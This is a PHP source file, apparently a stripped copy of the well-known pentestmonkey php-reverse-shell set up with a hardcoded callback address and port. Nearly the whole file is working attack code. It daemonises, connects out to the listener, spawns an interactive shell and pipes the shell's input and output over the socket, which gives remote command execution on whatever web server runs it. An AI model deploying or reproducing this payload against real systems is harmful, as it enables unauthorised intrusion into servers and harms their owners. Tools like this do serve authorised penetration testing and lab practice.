117 lines
2.5 KiB
PHP
117 lines
2.5 KiB
PHP
<?php
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// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
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// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
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set_time_limit (0);
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$VERSION = "1.0";
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$ip = '10.10.16.2';
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$port = 5555;
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$chunk_size = 1400;
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$write_a = null;
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$error_a = null;
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$shell = 'uname -a; w; id; sh -i';
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$daemon = 0;
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$debug = 0;
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if (function_exists('pcntl_fork')) {
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$pid = pcntl_fork();
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if ($pid == -1) {
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printit("ERROR: Can't fork");
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exit(1);
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}
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if ($pid) {
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exit(0); // Parent exits
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}
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if (posix_setsid() == -1) {
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printit("Error: Can't setsid()");
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exit(1);
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}
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$daemon = 1;
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} else {
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printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
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}
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chdir("/");
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umask(0);
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// Open reverse connection
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$sock = fsockopen($ip, $port, $errno, $errstr, 30);
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if (!$sock) {
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printit("$errstr ($errno)");
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exit(1);
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}
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$descriptorspec = array(
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0 => array("pipe", "r"), // stdin is a pipe that the child will read from
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1 => array("pipe", "w"), // stdout is a pipe that the child will write to
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2 => array("pipe", "w") // stderr is a pipe that the child will write to
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);
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$process = proc_open($shell, $descriptorspec, $pipes);
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if (!is_resource($process)) {
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printit("ERROR: Can't spawn shell");
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exit(1);
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}
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stream_set_blocking($pipes[0], 0);
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stream_set_blocking($pipes[1], 0);
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stream_set_blocking($pipes[2], 0);
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stream_set_blocking($sock, 0);
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printit("Successfully opened reverse shell to $ip:$port");
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while (1) {
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if (feof($sock)) {
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printit("ERROR: Shell connection terminated");
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break;
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}
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if (feof($pipes[1])) {
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printit("ERROR: Shell process terminated");
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break;
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}
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$read_a = array($sock, $pipes[1], $pipes[2]);
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$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
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if (in_array($sock, $read_a)) {
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if ($debug) printit("SOCK READ");
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$input = fread($sock, $chunk_size);
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if ($debug) printit("SOCK: $input");
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fwrite($pipes[0], $input);
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}
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if (in_array($pipes[1], $read_a)) {
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if ($debug) printit("STDOUT READ");
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$input = fread($pipes[1], $chunk_size);
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if ($debug) printit("STDOUT: $input");
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fwrite($sock, $input);
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}
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if (in_array($pipes[2], $read_a)) {
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if ($debug) printit("STDERR READ");
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$input = fread($pipes[2], $chunk_size);
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if ($debug) printit("STDERR: $input");
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fwrite($sock, $input);
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}
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}
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fclose($sock);
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fclose($pipes[0]);
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fclose($pipes[1]);
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fclose($pipes[2]);
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proc_close($process);
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function printit ($string) {
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if (!$daemon) {
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print "$string\n";
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}
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}
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?>
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